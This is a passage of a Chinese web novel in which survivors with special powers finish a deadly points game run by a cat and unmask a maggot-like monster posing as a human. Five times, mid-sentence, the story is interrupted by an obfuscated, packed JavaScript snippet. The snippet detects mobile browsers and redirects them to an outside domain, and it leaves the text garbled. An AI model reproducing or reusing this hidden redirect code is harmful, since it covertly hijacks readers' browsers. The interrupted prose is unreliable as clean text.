五分钟后,伴着“啪”的一声轻响,客厅里的灯被房主人关闭了。 罗浮和樊响并肩而行,从厨房里悄悄走进了客厅。 在她们身后,是两根抵在脖颈上的“针”。 “左边。”熊猫轻声指挥道。 二人无可奈何地转向左侧,一路前行,总算在十分钟后,抵达了……卫生间。 在水槽后面挨着水管的地方,有一个不怎么显眼的鼠窝。罗浮仔细看了两圈,才在脏衣篓后面找到另外一个鼠窝的半道门。 没有人说话,白皮肤女人从秃头男手里拿走了米桶,其他东西还让他提着。 随后熊猫一声令下,示意罗浮和樊响走向脏衣篓。 看来这两人也是商量好的,要一起凑够一百积分——当然,一定不会包括这个自以为抱上了大腿的秃头男。 罗浮默默想着,他们应该还没凑够,否则场面不会这么和谐。 很快一行人全部停在了脏衣篓后面的鼠窝外。白皮肤女人继续前行,吱嘎一声打开门走了进去。 罗浮趁机又试了一次异能,随即失望地发现还是没有生效。 她猜测对方的能力是有距离限制的。不论是之前让她拿着东西走近、还是现在让大家一起跟到这个鼠窝外面来,显然都是在控制这个距离。 “距离。”这时樊响也刚好在罗浮耳边用气声提醒了一句,却引来了熊猫的侧目。 她抿抿唇,干脆接着说道:“不用管我,有机会就跑。” 这句话早在一开始就该说的——但她是真的非常非常想要活下去,所以不论如何也张不开口。 可事到如今她不得不放弃了:能逃一个总比一起死来得好。 罗浮正要说话,下一秒却见那敞开的鼠门内莫名其妙闪烁起一阵急促的红光。 与此同时,一道足以让在场所有人听清的通知声从那道门里传了出来: “带回被投了‘毒药’的积分物品,扣除积分:58点,目前积分值:-23点。警告!由于你的积分已成负数,即刻起获得力量减半效果。请在天亮之前将积分变为正数,否则力量将再次减半!” ……投了毒的物品? 罗浮恍然大悟:昨天夜里女主人就发现了家里有老鼠,当然不会什么都不做!虽然在一大桶米里下毒杀老鼠显得过于奢侈,但事实就是如此。 她差点儿没忍住笑出声来——好一个搬起石头砸自己的脚! 对方力量减半,异能起效的范围和效果当然也会相应变弱。这正是她们二人出手的好机会! 罗浮与樊响对视了一眼,明明什么都没说,却生出一种前所未有的默契。 转眼之间,一根黑鞭划破空气“啪”地一声甩向了二人身后的熊猫。 这猝不及防的一击令对方下意识闪了开去,也顺利让两人脱离了他的“针”。 罗浮当即以最快速度掉头就跑,一边跑一边大喊:“我和樊响有快到令人眼花的速度!” 话落,在突如其来的一个加速里,后脑勺也传来非常熟悉的眩晕感。 虽然没有描述什么特别强大的“故事”,但她在一天之内使用了好几次异能,如今显然到了快要消耗过度的时候了。 不过光是这样还不够——秃头男人手里还有积分,不可能全是“毒药”。一旦那女人拿进鼠窝去恢复力量,就随时会再威胁到她们的性命! 从秃头男身上,罗浮学到了四个字:斩草除根。 她咬咬牙,回头看见樊响已经逃远,忙对她喊:“抢积分!” 从秃头男手里抢东西是件很容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782262|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易的事,即使有熊猫帮忙也一样——他的异能是像仙人掌那样,身体里可以长出“针”。但鞭子偏偏是远程武器,再加上樊响有异能加持,快得像一道残影,谁也抓不住她。 因此只是短短几秒钟,樊响已经一鞭子狠狠勒在秃头男脖子上,顺利夺走了积分物品。 而罗浮趁着熊猫全部注意力都在樊响身上时,鬼魅般的身影闪至其身后,长刀一出,“唰”的一声,轻而易举割开了他的咽喉。 鲜血如喷泉般汹涌而出的那一刻……罗浮才意识到,这是她真正意义上的第一次杀人。 可她来不及处理心头复杂万分的情绪——白皮肤女人已经冲出鼠窝,正朝她们这边跑来! 一旦被她靠近,所有异能都将失效。 罗樊二人不约而同地向另一方向飞奔而去,一转眼便拉开了足够的距离。 罗浮盯着那道似鬼非鬼的身影,低声道:“我想试试杀了她,你自己当心。” 樊响嗯了声:“我会找机会帮你。” “……她今天运气实在不怎么好,明明是要冲向敌人的,却倒霉地踩到了一滩不知从何而来的水渍,竟然毫无形象地摔了个狗吃屎。” 进阶能力【故事的第一段】,第二次派上了用场。 话音未落,罗浮便感到人中位置出现一阵暖流。 她不怎么在意地抬手抹掉鼻血,在目标“扑通”一声突然摔下去时,握着长刀义无反顾地冲了出去! 两个阶段的异能互不干涉,因此她目前还能使出魅影般的速度,几乎两个眨眼的时间里便已经到了白皮肤女人面前。 直到此刻,女人甚至还没来得及从地上爬起来。而如此境地下,即使被她抑制了异能也没关系了。 罗浮看见那张面具似的惨白面孔总算是露出了一抹类似“惊慌”的神情,给了她一丝人味。 但下一秒,长刀“唰”的自她脖颈划过。 可是,意料之中的情形并没有出现—— 女人的脖子似乎异常地坚硬,如此削铁如泥的刀竟然只划破了她的高领毛衣,并在她脖颈后方的皮肤上留下一道不足以致命的豁口。 奇怪的是,从那道豁口里并没有流出属于人类的鲜血。 伴着“叽咕叽咕”的滑腻液体声,罗浮眼睁睁瞧着无数只类似蛆虫的软体生物……从那里面争先恐后地挤了出来。 好一会儿,她喉头一滚,终于找回自己干涩的声音:“你是……污…污染物?” 28.新的难题 在罗浮的认知里,污染物是与人类截然不同的两种生物。 不论它们外形是丑陋怪异的,还是和人类几乎一模一样的,它们都不可能——或者说不应该,和人类在同一场“游戏”中竞技吧? 不不不,罗浮发现自己的重点偏离了。 最要紧的难道不是本该处于污染区里的污染物,竟然能在外面自由行走吗? 若说它本就是在这个变异污染区诞生的家伙,那应该不会只有这一个才对。 ……她简直快要被这个突然复杂起来的世界搞懵了。 长刀还架着对方脖颈上,那些从皮肤豁口里爬出来的白色肥蛆仿佛有些惊慌失措,竟努力地蠕动着身躯向四面八方爬了开去。 但不知它们是没长眼睛还是怎么的,其中一些居然爬向了罗浮的脚。 她现在穿着一双宁真从废墟里扒拉出来的面包鞋,虽然非常厚实,但她还是被恶心得往后缩了几厘米。 她磨了磨后槽牙,干脆竖起长刀,“呲”的一声插进了那道怪诞的豁口里。 被刀刺中的白蛆们居然发出一阵尖锐爆鸣,只是因为个头太小,声音加在一起也没有人类随便吐出一个字的音量大。 而在这段惨叫声里,趴在地上的“女人”也终于有了动作——它脑袋猛然向后一仰,脖子和头部折成了一个吊诡的直角。 要不是刀身阻隔,罗浮甚至怀疑它的脑袋能一口气贴到后背上面去。 一人一怪的视线再次对上,那张惨白如鬼的女人脸就像一张被硬物撞击的陶瓷面具,忽地炸开无数裂缝。 随后嚓嚓几声轻响,大大小小的碎片迅速滑落。一同掉落的,还有浓密的黑发。 当脚下的东西终于露出真面目之时,罗浮“咕咚”一声咽下唾沫,头皮发麻地连退了好几步。 她迅速转身向大门口飞掠而去,并向樊响喊道:“快跑!猫要来了!” 与此同时,一声几乎震碎人耳膜的非人惊叫声骤然响起:“噫——” 之前污染物没有使用能力限制罗浮,施加在二人身上的故事还没有失效,因此几乎一转眼的功夫,她们便相继奔到了卫生间门口。 可众所周知,猫科动物的速度也不可小觑。 如此短暂的时间里,一片黄橘相间的庞然大物已经冲到了门外,琥珀色双眼在黑暗中死死盯住了二人。 罗浮心跳都漏了一拍,在巨大猫爪扑过来之时,拽着樊响化作两道残影,顷刻间逃向了距离更近的水槽下的鼠窝。 二人刚踹开门冲进去,下一秒一只猫爪就跟着探了进来! 好在这条腿不够长,没能碰到靠在墙边的两个人。 橘猫不死心地虚抓了几下,随后便被污染物始终没停下的尖叫声吸引了过去。 罗浮惊魂未定地喘着气,听着自己嘭嘭嘭的急速心跳声,好一会儿才说:“……那东西太恶心了。” 从这个位置正好能够看得见—— 早已褪去“女人”模样的污染物软绵绵地向前爬行了一小段,将它身上用作伪装的衣物全部脱了下去。 它的本体白生生、肉滚滚的,正像是一条足有一人那么大的肉蛆。 但它却像人一样生着手脚,四肢都由粗壮的白肉条构成,皮肤反着黏糊糊的水光,头部长着圆黑的一个点。 ……简直是修炼出了人形的蛆精。 樊响一个没忍住,干呕了好几声。 直到此刻罗浮才发觉对方有些不对劲。 她脸色发白嘴唇微颤,垂在身侧的双手一直在抖,傲气的丹凤眼里藏着几缕红丝。 这绝不是被污染物恶心出来的样子。 罗浮皱眉低声问:“出什么事了?” 她的注意力都在污染物身上,的确是没关注樊响那边发生了什么。 樊响抿了下唇,摇摇头:“……没事。我只是杀了那个男人,一时有些受不住。” 刚才趁着二人不注意,躺在地上假装晕厥的秃头男竟然手脚并用地试图一点点偷偷爬走。 之前就是因为放过了他才招来这么大麻烦,于是樊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788116|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响一狠心,用鞭子勒死了对方。 可是……原来夺走一条活生生的人命,并不是像电影或小说情节里那么轻松的事。 直到此刻她的身体都在发抖,胃里一下一下不断翻涌,仿佛要把五脏六腑都给呕出来。 所以在看见恶心的污染物时,两者一叠加,她就控制不住地干呕起来了。 可她不后悔这么做,甚至觉得是自己承受能力太差:“就算不是现在,也总会有这么一天的。” 她看着罗浮,苍白的嘴唇勾起一抹真心实意的笑:“你也杀了一个人,可你的适应能力显然比我强太多了……我会努力向你学习的。” 罗浮不好意思地抓了抓凌乱的头发:“其实是当时事态紧急,我根本没功夫处理杀了人的复杂情绪。而你本身就很厉害了,我如果没有异能就弱得可怕——应该是我向你学习才对。” 两个人突如其来的一顿互夸,短暂沉默后,不约而同笑了出来。 可外面的情况却十分残忍且恶心——橘猫把那只软绵绵的大肉虫子当成了新玩具在半空中抛来抛去,它尖锐的指甲在其身上划破许多豁口,因此无数的小白蛆下雪似的落了满地。 当大肉虫彻底瘪下去、终于不再动弹之后,橘猫很快感到无趣,喵喵叫了几声便离开了卫生间。 罗樊二人松了口气,总算是找到机会出去了。 外面还扔着一袋子面粉和几颗土豆,罗浮弯腰提起来,抖掉爬上去的蛆虫,一边走一边低声说:“新的难题来了——我们该怎么区分这些东西到底有没有被下毒?” 那只污染物可是把东西带回鼠窝之后才收到警告的,而在那之前所有碰过米桶的人都只知道它代表着58点积分值。 樊响也不知道答案,只能默默摇头。 几秒后才道:“还有一件事,有一名参与者至今没露过面。” 罗浮猜测道:“那个人的鼠窝应该是卧室里了——目前看来每个区域都是两只‘老鼠’。我稍后问问阿虎,他那位朋友大概率就是从卧室出来的。” 29.真是可笑又可气 当她们再次来到黄毛的鼠窝时,却发现已经什么都不用问了。 那个从未露过面的参与者,竟然就坐在黄毛“家”里。 罗樊二人刚经历了一场战斗,第一反应便是各自拿起武器戒备地盯着那人。由于手里有积分物品,她们站在门外没有进去。 黄毛见状愣了愣,连忙摇着手上前解释:“别别别……荣姐是好人!她刚才还帮我收回了我朋友的尸骨!” 而他口中的“荣姐”,在二人紧张的注视下,依然老神在在地坐在那里,连表情都没有一丝变化。 罗浮顺着黄毛手指的方向,看见房里有一团用床单裹起来的未知物品,上面浸出了明显的血迹。 她这才把刀收起来,努力露出一个算得上和善的笑:“不好意思,我们反应过激了。” 对方弯了下嘴角:“没关系,在这种时候谨慎一点是好事。” 这是一个大约四十左右的女人,身上有种饱经沧桑后的成熟老练感,说话语气也淡淡的。 她五官普通、身形普通、衣着也普通,唯有一双眼睛透着令人心慌的平静和睿智。 仿佛只要双方视线一对上,她就能一眼将其看透。 所以罗浮不自在地挪开了目光,向黄毛询问:“那床单里的……是你朋友?” 她没有意识到这话实在扎心——黄毛本来还好的,闻言突然就嘴唇一抖,差点儿哭出声来。 荣姐摇摇头,慢吞吞地替他说:“他朋友成了一滩烂肉,连半具尸体都凑不起来,只能拿床单囫囵装了。” “你的鼠窝在卧室吧?”樊响出声问道。 荣姐看向她,笑说:“你想知道我为什么如今才现身?因为我饿了,要出来找东西填肚子。” 罗浮挑了下眉:“……卧室里积分很多吗?” 否则答案难道不应该是为了出来找积分? “那个啊,”荣姐耸耸肩,“我能力太差抢不过你们,与其为了点积分被你们杀掉,不如老老实实待着的好。” 黄毛听到这里也疑惑了:“可是积分不足一百的话……” “会怎样?” 荣姐一直很平静的目光里多了几分不可置信。 她挨个儿在三人脸上扫视了好几遍,终于哭笑不得地问道:“难道你们都以为积分不足会受到某种惩罚?” “不对吗?” ——这话几乎异口同声地由三个人问了出来。 荣姐没忍住按压了一下眉心,闭着眼无奈道:“……你们还有人记得那只猫说过的话吗?从头开始回忆一番吧。” 罗浮记忆力还算不错。她垂下眼睛,慢慢地,从自己被骗进游戏场地时开始回忆。 半分钟后,她“啊”了一声,忍不住拍了下自己的额头:“天,我怎么能这么蠢!” 进入游戏后,那只橘猫说“那么接下来,就请大家陪我玩一场轻松愉快的小游戏吧!” 介绍规则时又说:“当某只老鼠率先攒够一百积分时,这场有趣又轻松的小游戏就会结束啦。” 规则说完后它的结束语是:“那么,我们轻松愉快的小游戏现在就正式开始啦~” [轻松愉快]、[有趣又轻松]! 那只猫连续三次给了参与者提示,罗浮愣是一点儿也没察觉。 原来这场游戏根本就不需要死人——失败者甚至连惩罚都不会有! 偏偏橘猫在介绍规则时故意意味深长地补充了一句:“虽然同为老鼠,但若是为了争夺生存物资,也是可以互相杀害同类的哦。” 正是这句话加上它后面诡异的笑声,一下子带偏了大家的注意力,让众人误以为这是一场需要为了积分互相残杀的死亡游戏! 真是可笑又可气啊!其他人便罢了——那惨死的绿毛算什么?! 罗浮愤恨难当地咬了咬牙:如果那只猫胆敢出现在她眼前,她定会一刀砍下它的脑袋! 她都气成这样,黄毛更是双眼猩红:“……我要杀了它,一定要杀了它!” “冷静。”荣姐虚按了一下手,温吞缓慢的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792645|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气的确让三人感到了平静:“先结束这场游戏才是最重要的——你们见过杀死猫的老鼠吗?所以啊,等到了外面,它和我们的处境互换,再谈报仇吧。” 她话音才落,樊响便将手里的东西递向罗浮:“那么,这些东西就都给你吧。我想,拿到一百分的人怎么都该有奖励才对。” 罗浮愣了,刚才还十分笃定的想法突然迟疑起来:“可万一……是我们理解错了呢?如果给了我,真的只有我活下来了怎么办?” “不会。”荣姐翘起了二郎腿,懒洋洋地说:“我的能力是‘看透本质’,早在规则公布时,真相就已经在我眼里了。否则我这会儿也该在寻找积分才对,哪有闲心帮忙收尸、还跟你们说话?” 【慧眼如炬】 你天生就拥有比别人更敏锐的眼光,如今这项能力更是进步到了令人咋舌的地步。 当你使用能力去观察任意事物时,被观察的事件或物体会立刻出现一张仅你可见的信息面板。 罗浮听完她的异能描述,略微放下心来。 但为了谨慎起见,她还是低低念了一句只有自己能听得见的故事:“我能看穿别人的谎言。” 心脏突地猛跳了一下,罗浮双腿发软,连忙扶住墙壁,指向樊响手中的物品:“我们发现有些食物被下了毒,一旦带进鼠窝就会反向扣分。既然你能看透本质……那麻烦你帮我看看,这些东西有毒吗?” 荣姐摇头:“没有,那些土豆的词条是:五颗放得有些久的土豆,重量841克。趁它们还没发芽,尽快吃掉比较好。 “面粉:低筋面粉,被使用过一部分、还剩1027克。封口不够严实,大约再放半个月就会开始生虫。” 她揉了揉眼:“罗浮,24岁,工作为某种未知的特殊身份,目前正在使用特殊能力观察我是否撒谎。身体状况不佳,因异能使用过度而处于虚脱状态,需要休息5天才可完全复原。” “樊响……” “不用说了。”罗浮打断了她:“我信你。” 30.橘大王的梦想 大概除了荣姐之外,其余参与者怎么都不会想到,这场游戏竟然会以如此快速简单又安全的方式结束。 当罗浮将价值73点的物品带进鼠窝后,加上她之前的21点,距离100分就只差区区6点了。 在又度过一个白天之后,罗浮稍微恢复了些能力,用一句“桌上的苹果会立刻全部滚落下来”的故事,很轻易拿到了二十点积分——但荣姐剔除了其中的毒苹果,剩下了八点。 最后,樊响、荣姐和黄毛站在罗浮的鼠窝门口,看着她走进门去。 [获得积分10点。恭喜您,总积分已率先达到100点!本次小游戏到此结束!] 在这道提示出现后不足三秒,众人只听“咻”的一声,仿佛有烟花升上了半空,又“轰”的接连炸开。 然而实际上……这只是一段音效。 随后四人眼前一花,再看清时,已然出现在了一片白茫茫的空间里。 罗浮被突然强烈起来的白光刺得半眯着眼,模糊的视线里渐渐走来一只胖乎乎圆滚滚的橘猫。 一开始她觉得这是一只可爱至极的毛茸茸小动物,可如今怎么看都觉得它面目可憎。 她立刻咬牙切齿地说:“你还敢——” “我是来给获胜者送奖励的,恭喜你呀这位漂亮姐姐!” 一道甜得发腻的声音从夹子猫嘴里传出来,一下子堵住了罗浮的话。 她话头一转:“什么奖励?” 话落,眼前大约两米的地方忽然落下一片黑影,“嘭”的一声重重砸在了地上。 ……一条估摸着有一米五长的鱼徒劳挣扎了几下,就瞪着两只死鱼眼不再动弹了。 樊响皱眉:“奖励是一条鱼?” 橘猫歪了下脑袋——在众人看来是明晃晃地装可爱:“我是一只猫,当然准备鱼做奖励啦。难道你们想要老鼠?那你们等我一天,我去抓?” 四人齐刷刷的无语。 好一会儿罗浮才出声:“那倒不必。总之先让我们离开这里,回进游戏之前的地方吧。” 现在这里显然还在对方力场内,如果打起来她们绝对讨不了好。 橘猫大大的眼睛微微眯起,下一秒周围场景瞬间切换。 断壁残垣、碎石瓦砾全都出现了。 荒凉的世界里漂浮着一层薄灰,将一切都染上陈旧感,像极了画质落后的老电影。 罗浮怔了片刻,缓慢地感觉到一股浓浓的悲凉感侵袭胸腔。 “终于出来了——你害死了大阳!老子弄死你!” 黄毛的一声怒吼率先传来,罗浮转头,只见他捡了一块尖锐的碎石,愤怒地冲向了那只橘猫。 可就在碎石狠狠击中橘猫脑袋之时,它竟忽地散作烟尘,消失得无影无踪。 黄毛愣在那里,看着连一根猫毛都没有的空地:“怎么回事?” 罗浮这才想起一件事:“……它有读心能力,想必早就知道我们要在出来后杀它了。” “那怎么办?!”黄毛抬头,漫无目的地四下张望:“难道就这么让它逃了吗?大阳就白白死了?” “其实的确不该太在意一个人的生死。”荣姐还是那样温吞:“整个世界都成了这副鬼样子,谁有功夫天天追着给朋友报仇?若是为了报仇再搭上自己的命,那岂不是太滑稽了?” 她的话很不合时宜,但却没人能反驳得了。 黄毛张了张嘴想说什么,她一眼扫过去,笑着说:“特别是你啊,小朋友。你说过的,你朋友救了你一命,难道你要拿这么珍贵的命去送死吗?” 时间在她身上留下了非常容易令人信服的成熟感,她简直就是一位合格的人生导师,短短几句话就让黄毛渐渐冷静了下来。 “还有一件事。” 见黄毛不再崩溃,荣姐看向罗浮和樊响,叹了口气:“我刚才在那只猫身上看到了一些信息。” 【橘大王】:曾经是主人最爱的小家伙,后来主人怀孕,被其丈夫偷偷扔出去成为流浪小猫。遗憾的是它被扔得太远了——哪怕主人与丈夫以离婚收场,也始终没能再将它找回。 因此它一直梦想能够变成人类,靠自己去寻找主人。 梦想完成进度:4/100。 荣姐说完,沉声道:“而刚才的游戏里,刚好死了四个参与者。” 罗浮细思恐极:“等它杀够一百个,就能变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797873|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成人类了?” 这到底是个多么混乱古怪的世界啊。她一时甚至不知道该为这只猫的遭遇和执念而动容,还是恨它害死了人。 “我看我们先离开这里再说吧。”荣姐道:“如果同一人可以多次参与游戏,它为了凑人数再把我们拉进去就麻烦了。” 黄毛一声不吭地抱起了那团血淋淋的床单。 罗浮则弯腰去拿那条摆在不远处的大死鱼。 ……不管怎么说,这好歹是她赢来的奖品。先塞进储物空间里,实在找不到食物的时候还能拿出来填肚子。 只是她万万没想到,当指尖碰到冰冷滑腻的鱼身时,那一米五长的大鱼居然嗖的一下变成了……一条小小的、精致的咸鱼项链。 罗浮愣了愣,震惊地盯着自动落在掌心里的东西,好一会儿才反应过来——自己脑子里多了一段陌生信息。 【咸鱼项链】:24小时内可使用一次,单次时限5分钟。 对单一目标使用后可使对方陷入“咸鱼”状态,对周边发生的一切事件都毫不关心,只想原地躺倒、彻底摆烂。 使用方法:对目标大喊出“累了吗?累了就躺会儿!”即可生效。 是……道具? 罗浮抓着东西回头,茫然地说:“怎么会有这种东西?” 几人都说不出个所以然来,最后还是樊响猜测道:“可能是你说过的那种污染源,它不止会污染人类和动物,还会让一部分别的东西变成道具?也有可能,这类物品是蜕形种带到地球来的?” 说来说去也研究不出个确切结果。 这崭新的、丑陋的、混乱的新世界,只能由她们豁出性命去一点点地慢慢摸索。 四人随即沿着开裂变形的马路向前走,没多远,便看见路边出现了两具眼熟的尸体。 樊响手抖了一下:“……是他们。” 死在罗浮和她手下的两个人。 二人都是第一次夺走别人的性命,此刻心情格外复杂。 但这份情绪没有维持多久——罗浮视线一扫,看见了两具尸体旁满地蠕动的白蛆。 她皱了皱眉,问樊响:“那些虫子……是不是都长大了些?” 31.有缘再会 在二人走近之后,这个问题便不需要回答了:可以明显地看出来,原本只有面条粗细的白色虫子,如今已经长到了食指宽。 相比之下,不再像蛆虫,更像是蚕。 它们似乎能感知到人类的到来,立刻加快了蠕动速度,尽力朝废墟间的缝隙中躲藏。 这实在是太过怪诞猎奇了。 罗浮盯着它们看了半晌,忽然产生了一个念头:“这些东西,会不会每一只都能长成之前那个大家伙的样子?” “嘶……”樊响被她说的话给吓了一跳,却不得不承认这个可能性非常大:“趁现在都杀了吧?不过……我很担心爸妈,得尽快赶回去,没办法留下来帮忙了。” 哪怕周围建筑的现状都已经明明白白告诉了她结果,但她心里还是报着一丝希望。 罗浮非常理解,点头道:“没什么事能比家人更重要,快去吧——我会在这里等到天黑为止,如果你遇上了麻烦,记得回来找我。” 樊响感激的笑了笑:“好,有需要的话我不会客气的。” 罗浮想起一件事:“对了,那个‘女人’在等待区时,你们都没有怀疑它吗?” 樊响愣了下,摇摇头:“说实话,当时只觉得这个人长得有些令人心理不适。因为我们一群人都没见过污染物,那时连污染物是什么都不知道 ,又哪会想到一个‘人’竟然是污染物伪装的?” 再加上那只肥虫子还主动透露它是从污染区出去的,并提供了关于污染物的信息,就更是让其他人信服了。 罗浮听完心里十分不安:“这样说来,恐怕还有不少污染物已经混迹在人类之中了……好啦,没事了,想那么多也没用。你先走吧,一路小心。” 樊响认真看了她一会儿:“万事当心……有缘再会。” 她离开后,罗浮赶紧拿出联络器联系了封玉。 对方懒洋洋的声音很快传了过来:“咋滴啦?泡药浴呢,想睡觉,长话短说。” “……不好意思,短不了。” 罗浮一口气将游戏和大肥虫污染物的事都跟他讲了一遍。 才说几句时,封玉就已经一个激灵跳了起来。 等罗浮终于说完,他那点儿瞌睡早就彻底吓醒了,从药浴桶里哗啦一下蹦出去:“这操蛋的垃圾世界!要么干脆爽快一点儿,全球爆.炸大家同归于尽得了!” 发完牢骚,他又认命般长叹一声:“等会儿联系你,我去找司监大人。” 随后罗浮和荣姐、黄毛三人花了些时间,把周围能找到的虫子全部用石头砸成了白浆。 他们都知道还有很大一部分早就躲进了废墟里去,可对此实在无能为力,只能杀多少算多少了。 随后封玉联系罗浮:“消息已经通知下去了,关于那个自由行动的污染物……应该和长安里污染区那只杀过我的一样,是不受母体影响的特殊蜕形种。具体情况还得多花些时间才能知道。 “我这边也有事儿告诉你——就像你走进游戏场地而不自知一样,污染区范围也是单面可见的。在进入之前哪怕眼前就是污染区,你也完全看不见。不久前我们有同事遇到了人类不知不觉一头闯进污染区的,才知道是这么回事。” ……也就是说,他们哪怕好好走在路上,也有可能一脚踏进污染区去? 通话时罗浮没避着荣姐和黄毛,二人听了这话,脸色都一阵发白。 好在封玉补充了一句:“不过也不用太害怕,污染区没那么密集,不至于走一段就碰上一个。” 如果真不慎走了进去……就算他们倒霉呗。 天色渐暗时,三人也到了不得不分别的时候。 黄毛要去安葬自己的朋友、再找一辆车回远在千里之外的老家去看看爷爷奶奶是否安好——听完他的计划,荣姐问了一句:“你有驾照吗就想开车?” 黄毛目瞪口呆:“这都末日了,谁还查我驾照啊!” 荣姐耸耸肩:“我的意思是,我刚好是个十年驾龄的老司机。” 黄毛更惊讶了:“姐,你、你要跟我一起去?” “我无处可去,也不想一个人待着。” 荣姐不着痕迹地瞥了罗浮一眼:“相比之下,跟你一起走显然更安全。” 罗浮:“……” 什么意思? 荣姐尴尬地笑了笑:“其实关于你的信息我没有完全看透。还有一部分不知为何打上了黑色马赛克,虽然不知道内容是什么,但我觉得那不是什么好事——我可不想惹上麻烦,你也当心点儿吧。” 总之,结果是罗浮为荣姐编了一句故事:“天黑之前你能顺利找到一辆插着钥匙的好汽车。” 黄昏时分二人与她道别,率先踏上了一段未知的旅程。 罗浮并没有因荣姐的话困惑多久,她更在意的是这句故事为她打开了新思路: 每次用出新的故事时上一条就会失效,可像“荣姐能找到车”这种就完全不必担心了。 这相当于施加在荣姐身上的幸运加成buff,而不是凭空变出一辆车来。只要在对方顺利找到车之后再使用新的故事,那辆车可不会突然消失。 她在附近找了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803599|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块视野开阔的地方坐下来,一边等待天黑,一边考虑接下来的目标。 ……关于霍无怠,是该就这样放弃,还是该去查个水落石出? 罗浮其实不是好奇心很重的人,如果是为了所谓真相,她可以立刻撒手不管。 但——霍无怠对她来说也不是什么无足轻重的人。 在失去家人后罗浮很是消沉了一段时间,直到认识了他。他就像阳光一样,能够轻易驱散她心里的每一寸阴影。 有时候罗浮甚至觉得,他们之间合拍得简直像共用了同一个灵魂。 可这个人,如今连是否真实存在过都成了疑问。 若要她就这样轻易放下……她无论如何也做不到。 哪怕查到最后,证明霍无怠只是她精神分裂产生的幻象,也比如今这样稀里糊涂的来得好。 “……还是去‘自然温泉酒店’走一趟吧。” 她有了决定,这才发觉自己身上散发着一股难闻的怪味。 附近有几家服装店,大部分被压在了临街居民楼底下,但有一家顽强地保留了半截。 罗浮满头大汗地搬开挡路的碎石,总算是从塑料模特身上扒下了一整套衣物。 由于是寒冬时节,这套衣物由白色打底衣、羊毛衫、浅棕色长款风衣和一条蓝色牛仔裤组成。 虽然对现在的环境来说并不是特别方便,但好歹不用穿着破破烂烂的睡衣到处跑了。 罗浮还找到了一只店员留下的保温杯,用里面早已凉透的水清理了下身体——直到此刻她才真正意识到自己之前究竟伤得有多严重。 即使用药片治愈了伤口,但疤痕占据了从头到脚的一大半皮肤,连她自己都不忍直视。 她苦笑着换好衣服、戴上【咸鱼项链】,走出服装店回到了之前的地方继续等待。 不知不觉,一弯柳叶似的月牙慢慢攀上半空,过于暗淡的月光奄奄一息地洒落下来,照不亮任何一处阴影。 罗浮安静地坐着,与大片断壁残垣融为一体。 看样子樊响是不会回来了,大概一切还算顺利吧,这是件好事。 ……不过一个人待着,还真是有些太过于安静了。 罗浮不再等待,起身辨了辨方向,拍拍身后尘土,转身离去。 忽然,身后传来一阵“滴滴”的鸣笛声。 一道白光随之亮起来,将她的影子投到前方,弯弯曲曲的拉得老长。 罗浮转身望去,在一片刺眼的光芒中眯起眼睛,听见骑在电动车上的高瘦人影喊她:“阿浮,我回来了。” 32.幸存的老街区 不得不说,樊响骑车的技术实在太差了。 罗浮坐在后面,即使双手紧紧抱着她的腰,还是会被突然出现的一震吓一跳。 “……总之就是,翻了一会儿废墟之后,突然意识到不该这么做,于是就回来找你了。” 樊响双手指甲都裂了许多,还有不少细密的伤痕,都是在她发了疯似的刨挖废墟时留下的。 